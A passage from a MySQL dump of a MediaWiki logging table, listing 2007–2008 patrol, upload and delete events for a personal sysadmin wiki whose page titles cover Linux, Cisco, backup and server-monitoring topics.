  `log_user` int(10) unsigned NOT NULL default '0',
  `log_namespace` int(11) NOT NULL default '0',
  `log_title` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `log_comment` varchar(255) NOT NULL default '',
  `log_params` blob NOT NULL,
  `log_id` int(10) unsigned NOT NULL auto_increment,
  `log_deleted` tinyint(3) unsigned NOT NULL default '0',
  `log_user_text` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `log_page` int(10) unsigned default NULL,
  PRIMARY KEY  (`log_id`),
  KEY `type_time` (`log_type`,`log_timestamp`),
  KEY `user_time` (`log_user`,`log_timestamp`),
  KEY `page_time` (`log_namespace`,`log_title`,`log_timestamp`),
  KEY `times` (`log_timestamp`),
  KEY `log_user_type_time` (`log_user`,`log_type`,`log_timestamp`),
  KEY `log_page_id_time` (`log_page`,`log_timestamp`)
) ENGINE=InnoDB AUTO_INCREMENT=1306 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_logging`
--

LOCK TABLES `mw_logging` WRITE;
/*!40000 ALTER TABLE `mw_logging` DISABLE KEYS */;
INSERT INTO `mw_logging` VALUES ('upload','upload','20070816234856',1,6,'KDE_Solaris_install.jpg','','',1,0,'',NULL),('patrol','patrol','20070816235628',1,0,'Solaris_Install_x86','','3\n0\n1',2,0,'',NULL),('patrol','patrol','20070817000013',1,0,'Windows_Command_Line_Tricks','','4\n0\n1',3,0,'',NULL),('patrol','patrol','20070817001341',1,0,'Solaris_Install_x86','','5\n3\n1',4,0,'',NULL),('upload','upload','20070817005347',1,6,'SolarisLogo.jpg','','',5,0,'',NULL),('patrol','patrol','20070817005541',1,0,'Solaris_Install_x86','','7\n5\n1',6,0,'',NULL),('patrol','patrol','20070817010954',1,0,'Mac_OS_X_-_memtest','','8\n0\n1',7,0,'',NULL),('patrol','patrol','20070817011253',1,0,'Creating_Remedy_Macros','','9\n0\n1',8,0,'',NULL),('patrol','patrol','20070817214342',1,0,'Sago_Linux_Notes','','10\n0\n1',9,0,'',NULL),('patrol','patrol','20070819135938',1,0,'Software_Keys','','12\n0\n1',10,0,'',NULL),('patrol','patrol','20070821011119',1,0,'CCNA_Class_Notes','','14\n0\n1',11,0,'',NULL),('upload','upload','20070821011201',1,6,'CiscoLogo.jpeg','','',12,0,'',NULL),('patrol','patrol','20070821011357',1,0,'CCNA_Class_Notes','','16\n14\n1',13,0,'',NULL),('patrol','patrol','20070821011535',1,0,'CCNA_Class_Notes','','17\n16\n1',14,0,'',NULL),('patrol','patrol','20070821013122',1,0,'CCNA_Class_Notes','','18\n17\n1',15,0,'',NULL),('patrol','patrol','20070821013843',1,0,'CCNA_Class_Notes','','19\n18\n1',16,0,'',NULL),('patrol','patrol','20070821124916',1,0,'Testing_mcrypt','','20\n0\n1',17,0,'',NULL),('patrol','patrol','20070821150147',1,0,'Manual_Cpanel_Migration_Script','','21\n0\n1',18,0,'',NULL),('patrol','patrol','20070821185927',1,0,'System_Reporting_-_sar_&_kSar','','22\n0\n1',19,0,'',NULL),('upload','upload','20070821190248',1,6,'KSar.jpg','','',20,0,'',NULL),('patrol','patrol','20070821190505',1,0,'Repairing_Corrupted_tar_files','','24\n0\n1',21,0,'',NULL),('upload','upload','20070821190518',1,6,'Galadriel.jpg','','',22,0,'',NULL),('patrol','patrol','20070821190830',1,0,'Dell_RAID_Tools','','26\n0\n1',23,0,'',NULL),('patrol','patrol','20070821192339',1,0,'System_Reporting_-_sar_&_kSar','','27\n22\n1',24,0,'',NULL),('patrol','patrol','20070824142416',1,0,'Main_Page','','28\n11\n1',25,0,'',NULL),('patrol','patrol','20070825012659',1,0,'SSH_Over_X','','29\n0\n1',26,0,'',NULL),('patrol','patrol','20070825015505',1,0,'SSH_Over_X','','30\n29\n1',27,0,'',NULL),('patrol','patrol','20070825141754',1,0,'SSH_Over_X','','31\n30\n1',28,0,'',NULL),('patrol','patrol','20070825224629',1,0,'Linux_Night_Topics','','32\n0\n1',29,0,'',NULL),('upload','upload','20070825224711',1,6,'Hiking_tux_200.jpeg','','',30,0,'',NULL),('patrol','patrol','20070825225102',1,0,'Linux_Night_Topics','','34\n32\n1',31,0,'',NULL),('patrol','patrol','20070911000620',1,0,'Linux_Night_Topics','','44\n43\n1',32,0,'',NULL),('patrol','patrol','20070916114139',1,0,'Linux_Night_Topics','','46\n44\n1',33,0,'',NULL),('patrol','patrol','20070923150130',1,0,'OpenWRT_Linksys_Router','','47\n0\n1',34,0,'',NULL),('upload','upload','20071001133612',1,6,'Mini_aeryn01.jpg','','',35,0,'',NULL),('patrol','patrol','20071003133753',1,0,'System_Reporting_-_sar_&_kSar','','51\n27\n1',36,0,'',NULL),('patrol','patrol','20071010170131',1,0,'Sun_Cobalt_XTR_Server','','52\n45\n1',37,0,'',NULL),('patrol','patrol','20071017143745',1,0,'Lm_sensors_Hardware_Monitoring','','53\n0\n1',38,0,'',NULL),('patrol','patrol','20071017144429',1,0,'Lm_sensors_Hardware_Monitoring','','54\n53\n1',39,0,'',NULL),('upload','upload','20071017144500',1,6,'Lm_sensors.gif','','',40,0,'',NULL),('patrol','patrol','20071021172144',1,0,'Apple_OSX_Tips','','57\n0\n1',41,0,'',NULL),('upload','upload','20071121234345',2,6,'Libotr-3.1.0-1.i386.rpm','','',42,0,'',NULL),('upload','upload','20071121234510',2,6,'Libotr-3.1.0-1.i386.rpm','','',43,0,'',NULL),('upload','upload','20071121234553',2,6,'Kopete-otr-0.7-1.i386.rpm','','',44,0,'',NULL),('patrol','patrol','20071122000940',1,0,'Open_Suse_10.3_Notes','','67\n63\n1',45,0,'',NULL),('patrol','patrol','20071122002037',1,0,'Open_Suse_10.3_Notes','','68\n67\n1',46,0,'',NULL),('upload','upload','20071127005558',1,6,'MaxLinuxPenguin.jpg','','',47,0,'',NULL),('patrol','patrol','20071127010218',1,0,'Linux_Hardware_Repair_-_A+_Class','','78\n76\n1',48,0,'',NULL),('delete','delete','20071127010539',1,0,'Junk_page','content was: \'This is a junk page.\' (and the only contributor was \'[[Special:Contributions/72.184.142.174|72.184.142.174]]\')','',49,0,'',NULL),('patrol','patrol','20071128163625',1,0,'Windows_Password_Cracking','','82\n0\n1',50,0,'',NULL),('patrol','patrol','20071128164409',1,0,'Linux_Hardware_Repair_-_A+_Class','','83\n81\n1',51,0,'',NULL),('patrol','patrol','20071128195228',1,0,'Suse_10.3_Network_Install','','84\n0\n1',52,0,'',NULL),('upload','upload','20071128195248',1,6,'Geeko.jpg','','',53,0,'',NULL),('patrol','patrol','20071129185811',1,0,'Linux_Hardware_Repair_-_A+_Class','','86\n83\n1',54,0,'',NULL),('patrol','patrol','20071129190800',1,0,'Hardware_Info_Polling','','87\n48\n1',55,0,'',NULL),('patrol','patrol','20071129215218',1,0,'Hardware_Info_Polling','','88\n87\n1',56,0,'',NULL),('patrol','patrol','20071129220154',1,0,'Linux_Hardware_Repair_-_A+_Class','','89\n86\n1',57,0,'',NULL),('patrol','patrol','20071202194354',1,0,'Correcting_Perl_Module_Dependencies_Fail','','90\n0\n1',58,0,'',NULL),('patrol','patrol','20071202194611',1,0,'Correcting_Perl_Module_Dependencies_Fail','','91\n90\n1',59,0,'',NULL),('patrol','patrol','20071202200845',1,0,'Gpg_Keys_for_Package_Validation','','92\n0\n1',60,0,'',NULL),('patrol','patrol','20071202210324',1,0,'Great_Open_Source_Projects','','93\n0\n1',61,0,'',NULL),('patrol','patrol','20071202210452',1,0,'Great_Open_Source_Projects','','94\n93\n1',62,0,'',NULL),('patrol','patrol','20071204015813',1,0,'BackupPC_Installation_Notes','','95\n0\n1',63,0,'',NULL),('patrol','patrol','20071204020713',1,0,'BackupPC_Installation_Notes','','96\n95\n1',64,0,'',NULL),('upload','upload','20071204020905',1,6,'Backuppc.gif','','',65,0,'',NULL),('patrol','patrol','20071204021420',1,0,'BackupPC_Installation_Notes','','98\n96\n1',66,0,'',NULL),('patrol','patrol','20071204021500',1,0,'BackupPC_Installation_Notes','','99\n98\n1',67,0,'',NULL),('patrol','patrol','20071204021650',1,0,'BackupPC_Installation_Notes','','100\n99\n1',68,0,'',NULL),('patrol','patrol','20071204021743',1,0,'BackupPC_Installation_Notes','','101\n100\n1',69,0,'',NULL),('patrol','patrol','20071204021952',1,0,'BackupPC_Installation_Notes','','102\n101\n1',70,0,'',NULL),('patrol','patrol','20071211163631',1,0,'ISCSI_SAN_Accounts','','105\n0\n1',71,0,'',NULL),('patrol','patrol','20080110185502',1,0,'SugarCRM_Install_and_Admin_Notes','','107\n0\n1',72,0,'',NULL),('patrol','patrol','20080110190941',1,0,'SugarCRM_Install_and_Admin_Notes','','108\n107\n1',73,0,'',NULL),('patrol','patrol','20080112014744',1,0,'SugarCRM_Install_and_Admin_Notes','','109\n108\n1',74,0,'',NULL),('patrol','patrol','20080113075656',1,0,'St_Pete_College_Compnet_AS_Classes','','110\n0\n1',75,0,'',NULL),('patrol','patrol','20080121185020',1,0,'Oxford_English_Dictionary_and_Wikipedia','','111\n0\n1',76,0,'',NULL),('patrol','patrol','20080122144311',1,0,'St_Pete_College_Compnet_AS_Classes','','112\n110\n1',77,0,'',NULL),('patrol','patrol','20080124221010',1,0,'Splunk_Log_Analyzer','','113\n0\n1',78,0,'',NULL),('patrol','patrol','20080124221141',1,0,'Bastille_Server_Hardening','','114\n0\n1',79,0,'',NULL),('patrol','patrol','20080204170812',1,0,'Acronis_Drive_Imaging','','116\n0\n1',80,0,'',NULL),('patrol','patrol','20080204171042',1,0,'ISCSI_SAN_Accounts','','117\n106\n1',81,0,'',NULL),('patrol','patrol','20080204171337',1,0,'Wiki_Formatting_-_Wiki_Markup_Notes','','118\n0\n1',82,0,'',NULL),('patrol','patrol','20080204172154',1,0,'SMART_Drive_Diagnostics','','119\n0\n1',83,0,'',NULL),('patrol','patrol','20080204172354',1,0,'Linux_Hardware_Repair_-_A+_Class','','120\n89\n1',84,0,'',NULL),('patrol','patrol','20080204172525',1,0,'Linux_Security','','121\n0\n1',85,0,'',NULL),('upload','upload','20080204173929',1,6,'Camelot.jpg','','',86,0,'',NULL),('upload','upload','20080204174044',1,6,'Padlock.jpg','','',87,0,'',NULL),('patrol','patrol','20080204174143',1,0,'Linux_Security','','124\n121\n1',88,0,'',NULL),('patrol','patrol','20080204180105',1,0,'SMART_Drive_Diagnostics','','125\n119\n1',89,0,'',NULL),('patrol','patrol','20080205170502',1,0,'Mirroring_Hard_Drives_and_Partitions','','126\n0\n1',90,0,'',NULL),('patrol','patrol','20080206155250',1,0,'SMART_Drive_Diagnostics','','127\n125\n1',91,0,'',NULL),('patrol','patrol','20080208170832',1,0,'Cacti_Installation','','128\n0\n1',92,0,'',NULL),('upload','upload','20080208171200',1,6,'Cacti.jpg','','',93,0,'',NULL),('patrol','patrol','20080208171916',1,0,'Cacti_Installation','','130\n128\n1',94,0,'',NULL),('patrol','patrol','20080214191031',1,0,'Repairing_Corrupted_File_Systems','','132\n0\n1',95,0,'',NULL),('patrol','patrol','20080214192701',1,0,'Clonezilla','','133\n0\n1',96,0,'',NULL),('patrol','patrol','20080214192823',1,0,'Clonezilla','','134\n133\n1',97,0,'',NULL),('patrol','patrol','20080220214027',1,0,'SMART_Rewriting_Bad_Sectors','','135\n0\n1',98,0,'',NULL),('patrol','patrol','20080221151008',1,0,'Open_DNS_Server','','136\n0\n1',99,0,'',NULL),('patrol','patrol','20080221151251',1,0,'Understanding_Null_Routing','','137\n0\n1',100,0,'',NULL),('patrol','patrol','20080222165421',1,0,'APC_Backdoor','','138\n0\n1',101,0,'',NULL),('patrol','patrol','20080311164535',1,0,'Firewire_Password_Hack','','142\n0\n1',102,0,'',NULL),('patrol','patrol','20080312150522',1,0,'Handy_Linux_Commands','','143\n0\n1',103,0,'',NULL),('patrol','patrol','20080313014124',1,0,'CCNA_Class_Notes','','144\n72\n1',104,0,'',NULL),('patrol','patrol','20080313194541',1,0,'IEs4Linux_-_Internet_Explorer_on_Linux','','145\n0\n1',105,0,'',NULL),('patrol','patrol','20080315215656',1,0,'CCNA_Class_Notes','','146\n144\n1',106,0,'',NULL),('patrol','patrol','20080320195726',1,0,'Cpanel_SMART_Errors','','147\n0\n1',107,0,'',NULL),('patrol','patrol','20080320195818',1,0,'Cpanel_SMART_Errors','','148\n147\n1',108,0,'',NULL),('patrol','patrol','20080320212602',1,0,'High_Server_Loads_and_You','','149\n0\n1',109,0,'',NULL),('patrol','patrol','20080320213526',1,0,'High_Server_Loads_and_You','','150\n149\n1',110,0,'',NULL),('patrol','patrol','20080321161806',1,0,'Sun_Cobalt_XTR_Server','','151\n52\n1',111,0,'',NULL),('patrol','patrol','20080321170435',1,0,'Sun_Cobalt_XTR_Server','','152\n151\n1',112,0,'',NULL),('patrol','patrol','20080322021101',1,0,'OpenVPN_Server','','153\n0\n1',113,0,'',NULL),('patrol','patrol','20080322174123',1,0,'MySQL_Database_Backup_Script','','154\n0\n1',114,0,'',NULL),('patrol','patrol','20080322174845',1,0,'MySQL_Database_Backup_Script','','155\n154\n1',115,0,'',NULL),('patrol','patrol','20080323180056',1,0,'Splunk_Log_Analyzer','','156\n113\n1',116,0,'',NULL),('patrol','patrol','20080323210007',1,0,'BackupPC_Installation_Notes','','157\n104\n1',117,0,'',NULL),('patrol','patrol','20080323210731',1,0,'BackupPC_Installation_Notes','','158\n157\n1',118,0,'',NULL),('patrol','patrol','20080323210909',1,0,'BackupPC_Installation_Notes','','159\n158\n1',119,0,'',NULL),('patrol','patrol','20080323211036',1,0,'BackupPC_Installation_Notes','','160\n159\n1',120,0,'',NULL),('patrol','patrol','20080323211132',1,0,'BackupPC_Installation_Notes','','161\n160\n1',121,0,'',NULL),('patrol','patrol','20080325202752',1,0,'Sago_Stuff_List','','162\n0\n1',122,0,'',NULL),('patrol','patrol','20080327164942',1,0,'Cpanel_Installing_PHP5_and_PHP4','','164\n0\n1',123,0,'',NULL),('patrol','patrol','20080403154219',1,0,'Creating_Backup_User_Accounts','','168\n0\n1',124,0,'',NULL),('patrol','patrol','20080403154257',1,0,'Checknig/Changing_Quotas','','169\n0\n1',125,0,'',NULL),('patrol','patrol','20080403154335',1,0,'Creating_Backup_User_Accounts','','170\n168\n1',126,0,'',NULL),('patrol','patrol','20080403154350',1,0,'Creating_Backup_User_Accounts','','171\n170\n1',127,0,'',NULL),('patrol','patrol','20080403154442',1,0,'Creating_Backup_User_Accounts','','172\n171\n1',128,0,'',NULL),('patrol','patrol','20080403222221',1,0,'Cacti_Installation','','173\n131\n1',129,0,'',NULL),('patrol','patrol','20080404140130',1,0,'Sago_Stuff_List','','174\n167\n1',130,0,'',NULL),('patrol','patrol','20080404214320',1,0,'Sago_Stuff_List','','175\n174\n1',131,0,'',NULL),('patrol','patrol','20080407221642',1,0,'Exim_Tools','','176\n0\n1',132,0,'',NULL),('patrol','patrol','20080407221925',1,0,'Cacti_SNMP_Monitoring','','177\n0\n1',133,0,'',NULL),('patrol','patrol','20080410145436',1,0,'Great_Open_Source_Projects','','179\n115\n1',134,0,'',NULL),('patrol','patrol','20080416220120',1,0,'Loop_Mounted_Virtual_Partition_Manager','','181\n0\n1',135,0,'',NULL),('patrol','patrol','20080422182710',1,0,'Linux_Account_Management','','186\n0\n1',136,0,'',NULL),('patrol','patrol','20080422182746',1,0,'Linux_Account_Management','','187\n186\n1',137,0,'',NULL),('patrol','patrol','20080424000418',1,0,'Network_Monitoring_Tools','','189\n0\n1',138,0,'',NULL),('patrol','patrol','20080424001533',1,0,'Network_Monitoring_Tools','','190\n189\n1',139,0,'',NULL),('patrol','patrol','20080424001602',1,0,'Network_Monitoring_Tools','','191\n190\n1',140,0,'',NULL),('patrol','patrol','20080424005539',1,0,'CCNA_Class_Notes','','192\n180\n1',141,0,'',NULL),('patrol','patrol','20080503203409',1,0,'System_Integrity_Monitor','','194\n0\n1',142,0,'',NULL),('patrol','patrol','20080506173024',1,0,'Suse_10.3_Network_Install','','195\n84\n1',143,0,'',NULL),('patrol','patrol','20080506173806',1,0,'Suse_10.3_Network_Install','','196\n195\n1',144,0,'',NULL),('patrol','patrol','20080506220627',1,0,'Suse_10.3_Network_Install','','197\n196\n1',145,0,'',NULL),('patrol','patrol','20080508035708',1,0,'PXE_Boot_Server','','198\n0\n1',146,0,'',NULL),('patrol','patrol','20080508035733',1,0,'PXE_Boot_Server','','199\n198\n1',147,0,'',NULL),('patrol','patrol','20080508041305',1,0,'PXE_Boot_Server','','200\n199\n1',148,0,'',NULL),('patrol','patrol','20080508170406',1,0,'Mytop_-_SQL_Monitor','','204\n0\n1',149,0,'',NULL),('patrol','patrol','20080508173613',1,0,'Mytop_-_SQL_Monitor','','205\n204\n1',150,0,'',NULL),('patrol','patrol','20080509030242',1,0,'PXE_Boot_Server','','206\n200\n1',151,0,'',NULL),('patrol','patrol','20080509144427',1,0,'Network_Speed_Test','','207\n0\n1',152,0,'',NULL),('patrol','patrol','20080512003859',1,0,'ZFS_File_System','','208\n0\n1',153,0,'',NULL),('patrol','patrol','20080512004049',1,0,'ZFS_File_System','','209\n208\n1',154,0,'',NULL),('patrol','patrol','20080512010425',1,0,'ZFS_File_System','','210\n209\n1',155,0,'',NULL),('patrol','patrol','20080512054929',1,0,'ZFS_File_System','','211\n210\n1',156,0,'',NULL),('patrol','patrol','20080513224806',1,0,'VSFTP_Config','','215\n0\n1',157,0,'',NULL),('patrol','patrol','20080514021248',1,0,'Cisco_Security_Class','','216\n0\n1',158,0,'',NULL),('patrol','patrol','20080514190950',1,0,'Network_Speed_Test','','217\n207\n1',159,0,'',NULL),('patrol','patrol','20080514191032',1,0,'Network_Speed_Test','','218\n217\n1',160,0,'',NULL),('patrol','patrol','20080515210704',1,0,'Mounting_Remote_File_Systems_sshfs','','233\n0\n1',161,0,'',NULL),('patrol','patrol','20080516015713',1,0,'Cisco_Security_Class','','235\n234\n1',162,0,'',NULL),('patrol','patrol','20080520194619',1,0,'Cygwin_Bash_for_Windows','','238\n0\n1',163,0,'',NULL),('patrol','patrol','20080520194630',1,0,'Cygwin_Bash_for_Windows','','239\n238\n1',164,0,'',NULL),('patrol','patrol','20080521144546',1,0,'Cygwin_Bash_for_Windows','','240\n239\n1',165,0,'',NULL),('patrol','patrol','20080521163723',1,0,'False_rpm_Database_Errors','','241\n0\n1',166,0,'',NULL),('patrol','patrol','20080525212705',1,0,'Wiki_Markup_Tips','','242\n0\n1',167,0,'',NULL),('patrol','patrol','20080525213706',1,0,'BackupPC_Installation_Notes','','243\n178\n1',168,0,'',NULL),('patrol','patrol','20080527123317',1,0,'SSH_Secure_Shell','','244\n0\n1',169,0,'',NULL),('patrol','patrol','20080527123436',1,0,'Linux_File_System_Quotas','','245\n0\n1',170,0,'',NULL),('patrol','patrol','20080527123547',1,0,'FreeBSD_Frenzy_Live_CD','','246\n0\n1',171,0,'',NULL),('patrol','patrol','20080527124734',1,0,'Checknig/Changing_Quotas','','247\n169\n1',172,0,'',NULL),('patrol','patrol','20080528124559',1,0,'Iptables_-_pain_on_a_stick','','250\n0\n1',173,0,'',NULL),('patrol','patrol','20080528160427',1,0,'Driftnet_and_Webcollage','','251\n0\n1',174,0,'',NULL),('patrol','patrol','20080530005007',1,0,'Linux_Package_Managers','','252\n0\n1',175,0,'',NULL),('patrol','patrol','20080530015623',1,0,'Ettercap_Sniffer','','253\n0\n1',176,0,'',NULL),('patrol','patrol','20080530015652',1,0,'Ettercap_Sniffer','','254\n253\n1',177,0,'',NULL),('patrol','patrol','20080530020421',1,0,'Ettercap_Sniffer','','255\n254\n1',178,0,'',NULL),('patrol','patrol','20080530021204',1,0,'Ettercap_Sniffer','','256\n255\n1',179,0,'',NULL),('patrol','patrol','20080531010454',1,0,'Bash:_Sorting_and_Filtering_Data','','257\n0\n1',180,0,'',NULL),('patrol','patrol','20080531010922',1,0,'Bash:_Sorting_and_Filtering_Data','','258\n257\n1',181,0,'',NULL),('move','move','20080531223911',1,0,'Bash:_Sorting_and_Filtering_Data','','RPM Install Timeline Report',182,0,'',NULL),('patrol','patrol','20080603195732',1,0,'VNC_PXE_Remote_Install','','263\n0\n1',183,0,'',NULL),('patrol','patrol','20080605144753',1,0,'VNC_PXE_Remote_Install','','264\n263\n1',184,0,'',NULL),('patrol','patrol','20080605201745',1,0,'VNC_PXE_Remote_Install','','265\n264\n1',185,0,'',NULL),('patrol','patrol','20080606003726',1,0,'Cisco_Security_Class','','266\n235\n1',186,0,'',NULL),('patrol','patrol','20080606005905',1,0,'Cisco_Security_Class','','267\n266\n1',187,0,'',NULL),('patrol','patrol','20080606143320',1,0,'VNC_PXE_Remote_Install','','268\n265\n1',188,0,'',NULL),('patrol','patrol','20080606143405',1,0,'VNC_PXE_Remote_Install','','269\n268\n1',189,0,'',NULL),('patrol','patrol','20080606143530',1,0,'VNC_PXE_Remote_Install','','270\n269\n1',190,0,'',NULL),('patrol','patrol','20080606151622',1,0,'VNC_PXE_Remote_Install','','271\n270\n1',191,0,'',NULL),('patrol','patrol','20080606151640',1,0,'VNC_PXE_Remote_Install','','272\n271\n1',192,0,'',NULL),('patrol','patrol','20080606170340',1,0,'VNC_PXE_Remote_Install','','273\n272\n1',193,0,'',NULL),('patrol','patrol','20080607132445',1,0,'Wubi_Compaq_Notebook','','274\n0\n1',194,0,'',NULL),('patrol','patrol','20080607214055',1,0,'Wubi_Compaq_Notebook','','275\n274\n1',195,0,'',NULL),('patrol','patrol','20080609223430',1,0,'Cisco_Security_Class','','276\n267\n1',196,0,'',NULL),('patrol','patrol','20080614200926',1,0,'Linux_Security','','277\n124\n1',197,0,'',NULL),('patrol','patrol','20080614204928',1,0,'Port_Knocking','','278\n0\n1',198,0,'',NULL),('patrol','patrol','20080614205055',1,0,'Login_Monitoring','','279\n0\n1',199,0,'',NULL),('patrol','patrol','20080617182331',1,0,'PXE_Boot_Server','','280\n206\n1',200,0,'',NULL),('patrol','patrol','20080617182354',1,0,'PXE_Boot_Server','','281\n280\n1',201,0,'',NULL),('patrol','patrol','20080617182653',1,0,'Bash_Tricks','','282\n0\n1',202,0,'',NULL),('patrol','patrol','20080617184043',1,0,'PXE_Boot_Server','','283\n281\n1',203,0,'',NULL),('patrol','patrol','20080619183209',1,0,'Nessus_Vulnerability_Scanner','','284\n0\n1',204,0,'',NULL),('patrol','patrol','20080620121840',1,0,'Ultima_4_for_Linux_xu4','','285\n0\n1',205,0,'',NULL),('patrol','patrol','20080621162107',1,0,'Ultima_4_for_Linux_xu4','','286\n285\n1',206,0,'',NULL),('patrol','patrol','20080621204958',1,0,'VMware_Server_2.0','','287\n0\n1',207,0,'',NULL),('patrol','patrol','20080622004212',1,0,'St_Pete_College_Compnet_AS_Classes','','288\n140\n1',208,0,'',NULL),('patrol','patrol','20080623113726',1,0,'Image_Magick_Tricks','','289\n0\n1',209,0,'',NULL),('patrol','patrol','20080623141348',1,0,'Standard_Streams','','290\n0\n1',210,0,'',NULL),('patrol','patrol','20080623141636',1,0,'Standard_Streams','','291\n290\n1',211,0,'',NULL),('patrol','patrol','20080623163653',1,0,'Reading_List','','292\n0\n1',212,0,'',NULL),('patrol','patrol','20080624132717',1,0,'Standard_Streams','','293\n291\n1',213,0,'',NULL),('patrol','patrol','20080626112147',1,0,'Standard_Streams','','294\n293\n1',214,0,'',NULL),('patrol','patrol','20080629183629',1,0,'Cisco_Firewall_Configuration','','295\n0\n1',215,0,'',NULL),('patrol','patrol','20080630174943',1,0,'St_Pete_College_Compnet_AS_Classes','','296\n288\n1',216,0,'',NULL),('patrol','patrol','20080630180117',1,0,'Reading_List','','297\n292\n1',217,0,'',NULL),('patrol','patrol','20080630195004',1,0,'Time_And_Chaos','','298\n0\n1',218,0,'',NULL),('patrol','patrol','20080630201439',1,0,'Time_And_Chaos','','299\n298\n1',219,0,'',NULL),('patrol','patrol','20080630211111',1,0,'SugarCRM_Install_and_Admin_Notes','','300\n109\n1',220,0,'',NULL),('patrol','patrol','20080630233323',1,0,'SugarCRM_Install_and_Admin_Notes','','301\n300\n1',221,0,'',NULL),('patrol','patrol','20080701032029',1,0,'SugarCRM_Install_and_Admin_Notes','','302\n301\n1',222,0,'',NULL),('patrol','patrol','20080701201427',1,0,'SugarCRM_Install_and_Admin_Notes','','303\n302\n1',223,0,'',NULL),('patrol','patrol','20080702120654',1,0,'Initramfs_and_Early_User_Space','','304\n0\n1',224,0,'',NULL),('patrol','patrol','20080702202504',1,0,'SugarCRM_Install_and_Admin_Notes','','305\n303\n1',225,0,'',NULL),('patrol','patrol','20080702203956',1,0,'SugarCRM_Install_and_Admin_Notes','','306\n305\n1',226,0,'',NULL),('patrol','patrol','20080703020239',1,0,'SugarCRM_Install_and_Admin_Notes','','307\n306\n1',227,0,'',NULL),('patrol','patrol','20080703035033',1,0,'SugarCRM_Install_and_Admin_Notes','','308\n307\n1',228,0,'',NULL),('patrol','patrol','20080703174953',1,0,'SugarCRM_Install_and_Admin_Notes','','309\n308\n1',229,0,'',NULL),('patrol','patrol','20080709120442',1,0,'Adding_IPs_in_Cpanel','','310\n0\n1',230,0,'',NULL),('patrol','patrol','20080710020119',1,0,'Apple_OS_X_Darwin_Ports','','311\n75\n1',231,0,'',NULL),('patrol','patrol','20080710113226',1,0,'SugarCRM_Install_and_Admin_Notes','','312\n309\n1',232,0,'',NULL),('patrol','patrol','20080710114309',1,0,'SugarCRM_Install_and_Admin_Notes','','313\n312\n1',233,0,'',NULL),('patrol','patrol','20080710174022',1,0,'SugarCRM_Install_and_Admin_Notes','','314\n313\n1',234,0,'',NULL),('patrol','patrol','20080710210456',1,0,'SugarCRM_Install_and_Admin_Notes','','315\n314\n1',235,0,'',NULL),('patrol','patrol','20080710211019',1,0,'SugarCRM_Install_and_Admin_Notes','','316\n315\n1',236,0,'',NULL),('patrol','patrol','20080714233844',1,0,'OLPC_Notes','','317\n0\n1',237,0,'',NULL),('patrol','patrol','20080715132624',1,0,'Bash_Tricks','','318\n282\n1',238,0,'',NULL),('patrol','patrol','20080716175309',1,0,'RIP_Recovery_Is_Possible_Linux','','319\n0\n1',239,0,'',NULL),('patrol','patrol','20080717174419',1,0,'IPMI_Configuration_and_Monitoring','','320\n0\n1',240,0,'',NULL),('patrol','patrol','20080717184604',1,0,'IPMI_Configuration_and_Monitoring','','321\n320\n1',241,0,'',NULL),('patrol','patrol','20080717185012',1,0,'IPMI_Configuration_and_Monitoring','','322\n321\n1',242,0,'',NULL),('patrol','patrol','20080717191325',1,0,'IPMI_Configuration_and_Monitoring','','323\n322\n1',243,0,'',NULL),('patrol','patrol','20080717195339',1,0,'IPMI_Configuration_and_Monitoring','','324\n323\n1',244,0,'',NULL),('patrol','patrol','20080717222159',1,0,'St_Pete_College_Compnet_AS_Classes','','325\n296\n1',245,0,'',NULL),('patrol','patrol','20080717230136',1,0,'Reading_List','','326\n297\n1',246,0,'',NULL),('patrol','patrol','20080717232442',1,0,'CCNA_Test_Preparation','','327\n0\n1',247,0,'',NULL),('patrol','patrol','20080718024021',1,0,'Torrentflux','','328\n0\n1',248,0,'',NULL),('patrol','patrol','20080718024550',1,0,'Torrentflux','','329\n328\n1',249,0,'',NULL),('patrol','patrol','20080721184222',1,0,'IPMI_Configuration_and_Monitoring','','330\n324\n1',250,0,'',NULL),('patrol','patrol','20080721225828',1,0,'OLPC_Notes','','331\n317\n1',251,0,'',NULL),('patrol','patrol','20080723143633',1,0,'SugarCRM_Install_and_Admin_Notes','','332\n316\n1',252,0,'',NULL),('patrol','patrol','20080723204839',1,0,'SugarCRM_Install_and_Admin_Notes','','333\n332\n1',253,0,'',NULL),('patrol','patrol','20080724020312',1,0,'CCNA_Test_Preparation','','334\n327\n1',254,0,'',NULL),('patrol','patrol','20080725120823',1,0,'Stopping_DoS_Attacks','','335\n0\n1',255,0,'',NULL),('patrol','patrol','20080725125232',1,0,'IPMI_Configuration_and_Monitoring','','336\n330\n1',256,0,'',NULL),('patrol','patrol','20080725151000',1,0,'IPMI_Configuration_and_Monitoring','','337\n336\n1',257,0,'',NULL),('patrol','patrol','20080725151050',1,0,'IPMI_Configuration_and_Monitoring','','338\n337\n1',258,0,'',NULL),('patrol','patrol','20080725165117',1,0,'IPMI_Configuration_and_Monitoring','','339\n338\n1',259,0,'',NULL),('patrol','patrol','20080725165644',1,0,'IPMI_Configuration_and_Monitoring','','340\n339\n1',260,0,'',NULL),('patrol','patrol','20080725170218',1,0,'IPMI_Configuration_and_Monitoring','','341\n340\n1',261,0,'',NULL),('patrol','patrol','20080725170313',1,0,'IPMI_Configuration_and_Monitoring','','342\n341\n1',262,0,'',NULL),('patrol','patrol','20080725170423',1,0,'IPMI_Configuration_and_Monitoring','','343\n342\n1',263,0,'',NULL),('patrol','patrol','20080725170721',1,0,'IPMI_Configuration_and_Monitoring','','344\n343\n1',264,0,'',NULL),('patrol','patrol','20080725171608',1,0,'IPMI_Configuration_and_Monitoring','','345\n344\n1',265,0,'',NULL),('patrol','patrol','20080725184419',1,0,'IPMI_Configuration_and_Monitoring','','346\n345\n1',266,0,'',NULL),('patrol','patrol','20080726142722',1,0,'OLPC_Notes','','347\n331\n1',267,0,'',NULL),('patrol','patrol','20080726154546',1,0,'OLPC_Notes','','348\n347\n1',268,0,'',NULL),('patrol','patrol','20080728190935',1,0,'Data_Recovery_Specialists','','349\n0\n1',269,0,'',NULL),('patrol','patrol','20080729004946',1,0,'OLPC_Notes','','350\n348\n1',270,0,'',NULL),('patrol','patrol','20080729005027',1,0,'OLPC_Notes','','351\n350\n1',271,0,'',NULL),('patrol','patrol','20080729150953',1,0,'Dell_OpenManage_Server_Administrator','','352\n0\n1',272,0,'',NULL),('patrol','patrol','20080729151145',1,0,'Dell_OpenManage_Server_Administrator','','353\n352\n1',273,0,'',NULL),('patrol','patrol','2008072916102